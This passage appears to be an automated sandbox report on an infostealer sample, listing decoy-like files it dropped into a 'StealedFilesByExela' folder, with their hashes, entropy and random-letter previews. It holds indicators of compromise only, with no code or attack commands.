QHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\LTKMYBSEYZ.xlsx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Documents\UMMBDNEQBN.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
